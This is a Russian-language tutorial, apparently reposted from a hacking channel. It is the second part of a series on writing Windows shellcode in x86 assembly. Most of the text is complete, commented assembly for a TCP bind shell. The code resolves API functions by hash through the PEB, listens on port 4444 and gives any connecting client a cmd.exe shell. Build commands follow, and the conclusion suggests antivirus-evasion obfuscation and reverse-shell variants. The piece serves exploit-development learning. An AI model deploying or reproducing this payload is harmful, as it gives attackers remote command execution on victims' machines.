Пишем шеллкод под Windows на ассемблере. Часть 2

Пишем шеллкод под Windows на ассемблере. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение 

Когда мы реализовали все необходимые для нас алгоритмы поиска, мы можем приступать к написанию основной части нашего шеллкода.

 Общее описание кода шеллкода 

_main
<сохранение значений регистров, флагов, создание нового стекового фрейма>
<find kernel32.dll>
<find function name>
start
<Выделяем место для локальных переменных.>
...

Перед работой нашего шеллкода желательно сохранить данные регистров и флагов, которые были до начала работы, эта практика поможет нам при внедрении нашего кода в тело другой программы. Локальные переменные для шеллкода выглядят следующим образом: 

Описание локальных переменных 

start:
 sub esp, 0x28  ; 40 bytes = 10 local variables
 ; 0x4   CreateProcessA 
 ; 0x8  LoadLibraryA
 ; 0x0C  ExitProcess
 ; 0x10  GetProcAddress
 ; 0x14  ws2_32.dll
 ; 0x18  WSAStartup
 ; 0x1c  WSASocketA
 ; 0x20  bind 
 ; 0x24  listen
 ; 0x28  accept

После чего находим адреса функций: 

Поиск адресов функций 

;=====================================
;  Find addresses of functions in kernel32.dll
;=====================================
 call find_kernel32 ; find kernel32.dll
 push eax  ; save address of kernel32.dll
 ; CreateProcessA
 push 0x16b3fe72  ; hash of CreateProcessA
 call find_function_name ; в eax получаем return
 mov [ebp - 0x4], eax ; place into local address of CreateProcessA
 
 ; LoadLibraryA
 mov eax, 0xec0e4e8e ; hash of LoadLibrary
 mov [esp], eax  ; argument to find_function_name
 call find_function_name ; find LoadLibraryA in kernel32.dll
 mov [ebp - 0x8], eax ; save LoadLibrary address
 
 ; ExitProcess
 mov eax, 0x73e2d87e ; hash of Exit Process
 mov [esp], eax  ; argument to find_function_name
 call find_function_name ; find ExitProcess in kernel32.dll
 mov [ebp - 0x0C], eax ; save ExitProcess address
 
 ; GetProcAddress 0x7c0dfcaa
 mov eax, 0x7c0dfcaa ; hash of GetProcAddress
 mov [esp], eax  ; argument to find_function_name
 call find_function_name ; find GetProcAddress in kernel32.dll
 mov [ebp - 0x10], eax ; save GetProcAddress address
  • CreateProcessA — нужна для создания процесса cmd.exe.
  • LoadLibraryA — нужна для загрузки в адресное пространство нашего процесса библиотеки ws2_32.dll. Функции сокетов находятся в ней. Без вызова этой функции с параметром ws2_32.dll мы не сможем пользоваться функциями сокетов.
  • ExitProcess — нужна для выхода из родительского процесса
  • GetProcAddress — нужна, чтобы средставми ОС находить адреса нужных нам функций и библиотек.

GetProcAddress позволяет находить адрес нужной функции без алгоритма поиска. Благодаря этой функции можно просто передавать необходимые ей аргументы, вызывать её и получать результат в EAX.

После чего вызываем LoadLibraryA со строкой ws2_32.dll в качестве аргумента. Данная функция принимает 1 аргумент — указатель на строку с именем библиотеки. В нашем случае указатель на ws2_32.dll.

 Загрузка модуля ws2_32.dll

;=====================================
;  Load ws2_32.dll
;=====================================
 push 0x00003233  ; 32.dll
 push 0x5f327377  ; ws2_
 mov ebx, esp  ; place address in ebx
 push ebx  ; pointer to string library
 call [ebp - 0x8] ; call LoadLibraryA
 
 mov [ebp - 0x14], eax ; save address of ws2_32.dll

Затем находим адреса функций:

 WSAStartup

 WSASocketA

 bind

 listen

 accept

Поиск функций осуществляется при помощи GetProcAddress.

Аргументы GetProcAddress:

HMODULE hModule, — адрес библиотеки в которой ищем функцию, т.е. адрес ws2_32.dll

LPCSTR lpProcName — указатель на имя функции. При каждом вызове создаём новый указатель на строку с именем искомой функции.

 Поиск функций библиотеки ws2_32.dll

 

;=====================================
;  Find WSAStartup
;=====================================
 push 0x00007075  ; Push WSAStartup
 push 0x74726174
 push 0x53415357
 mov ebx, esp
 push ebx  ; pushed pointer to WSAStartup
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax
 call [ebp - 0x10] ; call GetProcAddress
 mov [ebp - 0x18], eax ; save address of WSAStartup

;=====================================
; Find WSASocketA
;=====================================
 push 0x00004174  ; push WSASocketA
 push 0x656b636f
 push 0x53415357
 mov ebx, esp
 push ebx  ; pointer to string function -> WSASocketA
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax  ; address of ws2_32.dll to stack
 call [ebp - 0x10] ; call GetProcAddress
 mov [ebp - 0x1c], eax ; save address of WSASocketA
 
;=====================================
; Find bind
;=====================================
 xor eax, eax
 push eax
 push 0x646e6962  ; push bind
 mov ebx, esp
 push ebx
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax  ; pointer to address
 call [ebp - 0x10] ; GetProcAddress
 mov [ebp - 0x20], eax ; save address of ws2_32.bind

;=====================================
; Find listen
;=====================================
 push 0x00006e65  ; listen
 push 0x7473696c
 mov ebx, esp
 push ebx
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax  ; pointer to address
 call [ebp - 0x10] ; GetProcAddress
 mov [ebp - 0x24], eax ; save address of ws2_32.listen

;=====================================
; Find accept
;=====================================
 push 0x00007470 ; accept
 push 0x65636361
 mov ebx, esp
 push ebx
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax  ; pointer to address
 call [ebp - 0x10] ; GetProcAddress
 mov [ebp - 0x28], eax ; save address of ws2_32.accept

Теперь необходимо инициализировать Winsock DLL нашим процессом, для использования функций библиотеки ws2_32.dll, таких как: WSASocket, bind, listen, accept. Помним, что аргументы для функций передаются в обратном порядке, поскольку помещаются в стэк. Вызываем WSAStartup. 

Аргументы WSAStartup: WORD wVersionRequired — версия спецификации Windows Sockets. Устанавливаем в 0x00000202; LPWSADATA lpWSAData — указатель на область памяти, в которую будут записаны детали имплементации Windows Socket. Необходимо создать такую область памяти размером 400 байт (именно такой размер у этой структуры) и отдать указатель на неё. Вызов WSAStartUP

;=====================================
; Call WSAStartup
;=====================================
 xor ecx, ecx
 mov cx, 400  ; Create space for WSAdata structure.
 sub esp, ecx
 mov ebx, esp
 mov cx, 0x00000202 ; version for WSAstartup
 push ebx
 push ecx
 call [ebp - 0x18] ; Call WSAStartup 

Затем создаём сокет WSASocketA. 

Аргументы WSASocketA: 

int af — спецификация семейства адресов. Будем использовать IPv4, потому указываем 2;

int type — тип сокета. Нас интересует SOCK_STREAM, поскольку хотим использовать TCP — 1;

int protocol — оставляем в 0;

LPWSAPROTOCOL_INFOA lpProtocolInfo — оставляем в 0;

GROUP g — группа сокетов, к которой будет относится созданный сокет. Здесь также оставляем 0;

DWORD dwFlags — нам дополнительные параметры для сокета не нужны, поэтому он равен 0.

После этого вызываем функцию WSASocketA, созданный дескриптор сокета система оставит в EAX, его необходимо сохранить. 

Вызов WSASocketA 

;=====================================
; Create Socket
;=====================================
 xor eax, eax
 push eax   ; dwFlags
 push eax   ; g
 push eax   ; lpProtocolInfo
 push eax   ; protocol
 inc eax
 push eax   ; type = SOCK_STREAM = 1
 inc eax
 push eax   ; af = AF_INET = 2
 call [ebp - 0x1c]  ; Call WSASocketA
 mov esi, eax   ; save socket descriptor

Следом идёт вызов функции bind. Её необходимо вызвать для связи созданного сокета с локальным адресом. Аргументы bind: SOCKET s, — дескриптор сокета, который мы привязываем к интерфейсу. Мы его положили в ESI; const sockaddr *addr, — указатель на область памяти, где хранится структура sockaddr. Структуру сначала необходимо заполнить и затем отдать указатель на неё; int namelen — размер структуры sockaddr, 16 байт. 

Вызов bind 

;=====================================
; Call Bind
;=====================================
 ; creating sockaddr_in structure
 xor eax, eax
 push eax   ; 0 - all interfaces
 push WORD 0x5c11  ; 4444 port
 push WORD 2   ; sin_family = AF_INET = 2
 mov ebx, esp   ; set pointer to struct sockaddr_in
 ; placing arguments
 xor eax, eax
 mov al, 0x10   ; size of struct sockaddr_in
 push eax   ; Push the namelen argument which has been set to 16.
 push ebx   ; Push the name argument which has been set to the initialized struct sockaddr in on the
 ; stack.
 push esi   ; socket descriptor
 call [ebp - 0x20]  ; Calling Bind

Затем идёт вызов функции listen. Данная функция переводит сокет в состояние ожидания входящего соединения. Аргументы listen: SOCKET s, — дескриптор сокета, который будем переводить в listening. По-прежнему в ESI; int backlog — максимальная длина очереди ожидающих соединений. В нашем случае не меньше 1. 

Вызов listen 

;=====================================
; Listen
;=====================================
listen:
 push 0x10  ; int backlog
 push esi  ; socket
 call [ebp - 0x24] ; Listen

После того как перевели созданный сокет в состояние listening можем принимать входящие соединения: accept. Аргументы accept: SOCKET s, — дескриптор сокета, который ожидает соединение. Снова в ESI; sockaddr *addr, — указатель на буфер, который принимает информацию о входящем соединении. Структуру заполнять не надо; int *addrlen — указатель на целочисленное значение длины структуры на которую указывает addr параметр: 16 байт; 

Вызов accept 

;=====================================
; Accept
;=====================================
 xor ebx, ebx   ; zero ebx
 mov ebx, 0x10   ; place size of struct
 push ebx   ; we need pointer to size
 mov edx, esp   ; pointer to size
 sub esp, ebx   ; a place for sockaddr in structure of client
 mov ecx, esp   ; pointer to this place
 push edx
 push ecx
 push esi   ; socket descriptor
 call [ebp - 0x28]  ; call accept
 mov esi, eax   ; save client descriptor

Когда к нашему сокету подключится клиент, данная функция вернет целочисленный дескриптор вновь созданного сокета. После того, как приняли входящее соединение, нам необходимо вызвать командную оболочку, чтобы появилась возможность удаленного выполнения команд. Функция, у которой больше всего аргументов — CreateProcessA.

Аргументы:

LPCSTR lpApplicationName — Имя приложения. Для нас не обязателен, 0;

LPSTR lpCommandLine — Имя команда. cmd.exe;

LPSECURITY_ATTRIBUTES lpProcessAttributes — указатель на атрибуты процесса, 0;

LPSECURITY_ATTRIBUTES lpThreadAttributes — указатель на атрибуты потока, 0;

BOOL bInheritHandles — если в TRUE, то создаваемый процесс унаследует дескрипторы от процесса-создателя, 1.

DWORD dwCreationFlags — флаги контроля класса приоритета и создания процесса. Для нас 0.

LPVOID lpEnvironment — указатель на блок окружения для нового процесса. Для нас 0

LPCSTR lpCurrentDirectory — полный путь к текущей директории процесса. Для нас 0

LPSTARTUPINFOA lpStartupInfo — указатель на STARTUPINFO или STARTUPINFOEX структуру.

LPPROCESS_INFORMATION lpProcessInformation — указатель на PROCESS_INFORMATION структуру. 

Вызов CreateProcessA 

;=====================================
; Call cmd.exe
;=====================================
 push 0x657865
 push 0x2e646d63  ; cmd.exe
 mov [ebp - 0x2c], esp

 xor ecx, ecx  ; zero ecx
 mov cl, 0x54  ; size of STARTUPINFO
 sub esp, ecx  ; allocate space for the two structures
 mov edi, esp  ; set edi to point to STARTUPINFO structure
 push edi  ; Preserve edi on the stack as it will be modified 
    ; by the following instructions
 xor eax, eax  ; Zero eax to for use with stosb to zero 
    ; out the two structures.
 rep stosb  ; Repeat storing zero at the buffer starting at edi 
    ; until ecx is zero.
 pop edi   ; restore edi
 mov byte [edi], 0x44 ; Set the cb attribute of STARTUPINFO to 0x44 
    ; (the size of the structure).
 inc byte [edi + 0x2d] ; dwFlags: Set the STARTF USESTDHANDLES flag
    ; to indicate that the hStdInput, hStdOutput, 
    ; and hStdError attributes should be used.
 push edi  ;preserve edi again as it will be modified by the stosd
 mov eax, esi  ; place socket descriptor into eax
 lea edi, [edi + 0x38] ; Load the effective address of the hStdInput 
    ; attribute in the STARTUPINFO structure.
 stosd   ; Set the hStdInput attribute to the file 
    ; descriptor returned from WSASocket.
 stosd   ; Set the hStdOutput attribute to the file 
    ; descriptor returned from WSASocket.
 stosd   ; Set the hStdError attribute to the file 
    ; descriptor returned from WSASocket.
 pop edi   ; Restore edi to its original value
 xor eax, eax
 lea esi, [edi + 0x44] ; Load the effective address of 
    ; the PROCESS INFORMATION structure into esi.
 push esi  ; Push the pointer to the lpProcessInformation str-e
 push edi  ; Push the pointer to the lpStartupInfo structure.
 
 push eax  ; Push the lpStartupDirectory argument as NULL.
 push eax  ; Push the lpEnvironment argument as NULL.
 push eax  ; Push the dwCreationFlags argument as 0.
 inc eax     
 push eax  ; Push the bInheritHandles argument as 
    ; TRUE due to the fact that the
    ; client needs to inherit the socket file descriptor.
 dec eax
 push eax  ; Push the lpThreadAttributes argument as NULL.
 push eax  ; Push the lpProcessAttributes argument as NULL.
 
 mov eax, [ebp - 0x2c]
 push eax  ; Push the lpCommandLine argument as the pntr to 'cmd’
 xor eax, eax
 push eax  ; Push the lpApplicationName argument as NULL.
 call [ebp - 0x4] ; Call CreateProcessA

И завершаем наш шеллкод завершением родительского процесса. 

 call [ebp - 0x0C] ; Call ExitProcess
 ret

Теперь сложим это всё вместе.

    global  _main

    section .text
_main:
 pushad
 pushfd
 push ebp
 mov ebp, esp
 jmp start
;=====================================
; Find kernel32.dll base
; kernel32.dll in high address space
; that's why we don't need to xor eax
;=====================================
find_kernel32:
    mov eax, [fs:0x30]  ; PEB
    mov eax, [eax + 0x0c] ; PEB->Ldr
    mov eax, [eax + 0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
    mov eax, [eax]  ; 2nd Entry
    mov eax, [eax]  ; 3rd Entry
    mov eax, [eax + 0x10] ; address of kernel32.dll
    ret
;=====================================
; Find function name
;=====================================
; 2 arguments: hash of function name, base of dll
;=====================================
find_function_name:
 xor esi, esi  ; clear ESI register
 push ebp  ; save old EBP
 mov ebp, esp  ; new stack frame
 sub esp, 0xc  ; 3 local variables: 12 bytes
 mov ebx, [ebp + 0x0C] ; save <>.dll absolute address in ebx
 mov ebx, [ebx + 0x3c] ; offset to New EXE Header
 add ebx, [ebp + 0x0C] ; absolute address to New EXE Header
 mov ebx, [ebx + 0x78] ; RVA of Export table
 add ebx, [ebp + 0x0C] ; Absolute address of 
    ; Export table IMAGE_EXPORT_DIRECTORY
;=====================================
; 0x14 - Number of Functions
; 0x1c - Address Table RVA
; 0x20 - Name Pointer Table RVA
; 0x24 - Ordinal Table RVA
;=====================================
 mov eax, [ebx + 0x1c] ; RVA of Address Table
 add eax, [ebp + 0x0C] ; Absolute address of Address Table
 mov [ebp - 0x4], eax ; 1st local variable: base of Address Table
 
 mov eax, [ebx + 0x20] ; RVA of Name Pointer Table
 add eax, [ebp + 0x0C] ; Absolute address of Name Pointer Table
 mov [ebp - 0x8], eax ; 2nd local variable: base of Name Pointer Table
 
 mov eax, [ebx + 0x24] ; RVA of Ordinal Table
 add eax, [ebp + 0x0C] ; Absolute address of Ordinal table
 mov [ebp - 0x0C], eax ; 3rd local variable: base of Ordinal table

 mov ecx, [ebx + 0x14] ; Number of functions
 mov ebx, [ebp - 0x8] ; place address of Name Pointer Table

;=====================================
; Fund function loop
;=====================================
find_function_loop:
 jecxz find_function_finished ; if ecx = 0 => end
 dec ecx   ; moving from Number of functions => 0
 mov esi, [ebx + 4*ecx] ; get RVA of next function name
 add esi, [ebp + 0x0C] ; base of function name

compute_hash:
 xor edi, edi
 xor eax, eax
compute_hash_again:
 lodsb   ; load char of function name
 test al, al  ; is it end of function name? \0
 jz compute_hash_finished ; end
 ror edi, 0xd  ; bitwise shift right
 add edi, eax
 jmp compute_hash_again
compute_hash_finished:
find_function_compare:
 cmp edi, [ebp + 0x8] ; compare our hash with calculated
 jnz find_function_loop
;=====================================
; Get address of Function
;=====================================
 mov ebx, [ebp - 0x0c] ; get ordinal table base
 mov cx, [ebx + 2 * ecx] ; extract relative offset of function
 mov eax, [ebp - 0x4] ; get base of Address table
 mov eax, [eax + ecx*4] ; get RVA of our function
 add eax, [ebp + 0x0C] ; get base of our function
find_function_finished:
 leave   ; mov esp, ebp; pop ebp
 ret
;=====================================
; Start
;=====================================
start:
 sub esp, 0x28  ; 40 bytes = 10 local variables
 ; 0x4   CreateProcessA 
 ; 0x8  LoadLibraryA
 ; 0x0C  ExitProcess
 ; 0x10  GetProcAddress
 ; 0x14  ws2_32.dll
 ; 0x18  WSAStartup
 ; 0x1c  WSASocketA
 ; 0x20  bind 
 ; 0x24  listen
 ; 0x28  accept
;=====================================
;  Find addresses of functions in kernel32.dll
;=====================================
 call find_kernel32 ; find kernel32.dll
 push eax  ; save address of kernel32.dll
 ; CreateProcessA
 push 0x16b3fe72  ; hash of CreateProcessA
 call find_function_name ; in EAX return value
 mov [ebp - 0x4], eax ; place into local address of CreateProcessA
 
 ; LoadLibraryA
 mov eax, 0xec0e4e8e ; hash of LoadLibrary
 mov [esp], eax  ; argument to find_function_name
 call find_function_name ; find LoadLibraryA in kernel32.dll
 mov [ebp - 0x8], eax ; save LoadLibrary address
 
 ; ExitProcess
 mov eax, 0x73e2d87e ; hash of Exit Process
 mov [esp], eax  ; argument to find_function_name
 call find_function_name ; find ExitProcess in kernel32.dll
 mov [ebp - 0x0C], eax ; save ExitProcess address
 
 ; GetProcAddress 0x7c0dfcaa
 mov eax, 0x7c0dfcaa ; hash of GetProcAddress
 mov [esp], eax  ; argument to find_function_name
 call find_function_name ; find GetProcAddress in kernel32.dll
 mov [ebp - 0x10], eax ; save GetProcAddress address
;=====================================
;  Load ws2_32.dll
;=====================================
 push 0x00003233  ; 32.dll
 push 0x5f327377  ; ws2_
 mov ebx, esp  ; place address in ebx
 push ebx  ; pointer to string library
 call [ebp - 0x8] ; call LoadLibraryA
 
 mov [ebp - 0x14], eax ; save address of ws2_32.dll

;=====================================
;  Find WSAStartup
;=====================================
 push 0x00007075  ; Push WSAStartup
 push 0x74726174
 push 0x53415357
 mov ebx, esp
 push ebx  ; pushed pointer to WSAStartup
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax
 call [ebp - 0x10] ; call GetProcAddress
 mov [ebp - 0x18], eax ; save address of WSAStartup

;=====================================
; Find WSASocketA
;=====================================
 push 0x00004174  ; push WSASocketA
 push 0x656b636f
 push 0x53415357
 mov ebx, esp
 push ebx  ; pointer to string function -> WSASocketA
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax  ; address of ws2_32.dll to stack
 call [ebp - 0x10] ; call GetProcAddress
 mov [ebp - 0x1c], eax ; save address of WSASocketA
 
;=====================================
; Find bind
;=====================================
 xor eax, eax
 push eax
 push 0x646e6962  ; push bind
 mov ebx, esp
 push ebx
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax  ; pointer to address
 call [ebp - 0x10] ; GetProcAddress
 mov [ebp - 0x20], eax ; save address of ws2_32.bind

;=====================================
; Find listen
;=====================================
 push 0x00006e65  ; listen
 push 0x7473696c
 mov ebx, esp
 push ebx
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax  ; pointer to address
 call [ebp - 0x10] ; GetProcAddress
 mov [ebp - 0x24], eax ; save address of ws2_32.listen

;=====================================
; Find accept
;=====================================
 push 0x00007470 ; accept
 push 0x65636361
 mov ebx, esp
 push ebx
 mov eax, [ebp - 0x14] ; address of ws2_32.dll
 push eax  ; pointer to address
 call [ebp - 0x10] ; GetProcAddress
 mov [ebp - 0x28], eax ; save address of ws2_32.accept
;=====================================
; Call WSAStartup
;=====================================
 xor ecx, ecx
 mov cx, 400  ; Create space for WSAdata structure.
 sub esp, ecx
 mov ebx, esp
 mov cx, 0x00000202 ; version for WSAstartup
 push ebx
 push ecx
 call [ebp - 0x18] ; Call WSAStartup
;=====================================
; Create Socket
;=====================================
 xor eax, eax
 push eax  ; dwFlags
 push eax  ; g
 push eax  ; lpProtocolInfo
 push eax  ; protocol
 inc eax
 push eax  ; type = SOCK_STREAM = 1
 inc eax
 push eax  ; af = AF_INET = 2
 call [ebp - 0x1c] ; Call WSASocketA
 mov esi, eax  ; save socket descriptor

;=====================================
; Call Bind
;=====================================
 ; creating sockaddr_in structure
 xor eax, eax
 push eax  ; 0 - all interfaces
 push WORD 0x5c11 ; 4444 port
 push WORD 2  ; sin_family = AF_INET = 2
 mov ebx, esp  ; set pointer to struct sockaddr_in
    ; placing arguments
 xor eax, eax
 mov al, 0x10  ; size of struct sockaddr_in
 push eax  ; Push the namelen argument which has been set to 16.
 push ebx  ; Push the name argument which has been set to 
    ; the initialized struct sockaddr in on the stack.
 push esi  ; socket descriptor
 call [ebp - 0x20] ; Calling Bind

;=====================================
; Call Listen
;=====================================
listen:
 push 0x10  ; int backlog
 push esi  ; socket
 call [ebp - 0x24] ; Listen
;=====================================
; Call Accept
;=====================================
 xor ebx, ebx  ; zero ebx
 mov ebx, 0x10  ; place size of struct
 push ebx  ; we need pointer to size
 mov edx, esp  ; pointer to size
 sub esp, ebx  ; a place for sockaddr in structure of client
 mov ecx, esp  ; pointer to this place
 push edx
 push ecx
 push esi  ; socket descriptor
 call [ebp - 0x28] ; call accept
 mov esi, eax  ; save client descriptor

;=====================================
; Call cmd.exe
;=====================================
 push 0x657865
 push 0x2e646d63  ; cmd.exe
 mov [ebp - 0x2c], esp

 xor ecx, ecx  ; zero ecx
 mov cl, 0x54  ; size of STARTUPINFO
 sub esp, ecx  ; allocate space for the two structures
 mov edi, esp  ; set edi to point to STARTUPINFO structure
 push edi  ; Preserve edi on the stack as it will be modified 
    ; by the following instructions
 xor eax, eax  ; Zero eax to for use with stosb to zero 
    ; out the two structures.
 rep stosb  ; Repeat storing zero at the buffer starting at edi 
    ; until ecx is zero.
 pop edi   ; restore eid
 mov byte [edi], 0x44 ; Set the cb attribute of STARTUPINFO to 0x44 
    ; (the size of the structure).
 inc byte [edi + 0x2d] ; dwFlags: Set the STARTF USESTDHANDLES flag
    ; to indicate that the hStdInput, hStdOutput, 
    ; and hStdError attributes should be used.
 push edi  ;preserve edi again as it will be modified by the stosd
 mov eax, esi  ; place socket descriptor into eax
 lea edi, [edi + 0x38] ; Load the effective address of the hStdInput 
    ; attribute in the STARTUPINFO structure.
 stosd   ; Set the hStdInput attribute to the file 
    ; descriptor returned from WSASocket.
 stosd   ; Set the hStdOutput attribute to the file 
    ; descriptor returned from WSASocket.
 stosd   ; Set the hStdError attribute to the file 
    ; descriptor returned from WSASocket.
 pop edi   ; Restore edi to its original value
 xor eax, eax
 lea esi, [edi + 0x44] ; Load the effective address of 
    ; the PROCESS INFORMATION structure into esi.
 push esi  ; Push the pointer to the lpProcessInformation struc.
 push edi  ; Push the pointer to the lpStartupInfo structure.
 
 push eax  ; Push the lpStartupDirectory argument as NULL.
 push eax  ; Push the lpEnvironment argument as NULL.
 push eax  ; Push the dwCreationFlags argument as 0.
 inc eax     
 push eax  ; Push the bInheritHandles argument as 
    ; TRUE due to the fact that the
    ; client needs to inherit the socket file descriptor.
 dec eax
 push eax  ; Push the lpThreadAttributes argument as NULL.
 push eax  ; Push the lpProcessAttributes argument as NULL.
 
 mov eax, [ebp - 0x2c]
 push eax  ; Push the lpCommandLine argument as the pntr cmd
 xor eax, eax
 push eax  ; Push the lpApplicationName argument as NULL.
 call [ebp - 0x4] ; Call CreateProcessA 

Для компиляции шеллкода выполним: 

nasm -f win32 portbind.asm & gcc -o portbind.exe portbind.obj

Запустим его и установим соединение. 

Компиляция, запуск и установление соединения с шеллкодом

Заключение

Таким образом, мы рассмотрели один из вариантов создания Windows TCP Bind шеллкода. Другие типовые шеллкоды типа Reverse TCP или Exec cmd могут быть легко написаны после разбора этого примера.

Направления дальнейшей работы могут быть такими: 

  • избавление шеллкода от нулевых байтов \x00. Здесь будет использоваться «полиморфизм» — достижение одного и то же результата разными инструкциями ассемблера;
  • обфускация шеллкода от обнаружения антивирусами — один из вариантов, когда тело шеллкода расшифровывается в памяти и затем выполняется, таким образом большинство антивирусов не обнаруживают шеллкод;
  • можно добавить возможность многократного подключения к шеллкоду — в текущем примере для повторного подключения необходимо перезапускать шеллкод;
  • минимизации кода — некоторые куски кода можно оптимизировать, чтобы длина шеллкода была меньше.

Полезные ссылки: 

  • Код на githab;
  • Самой полезной для меня оказалась книга. В ней рассмотрены основные шеллкоды, техники (например, socket reuse);

​ Если у вас остались вопросы, то пишите в комментариях.​

Источник

Report Page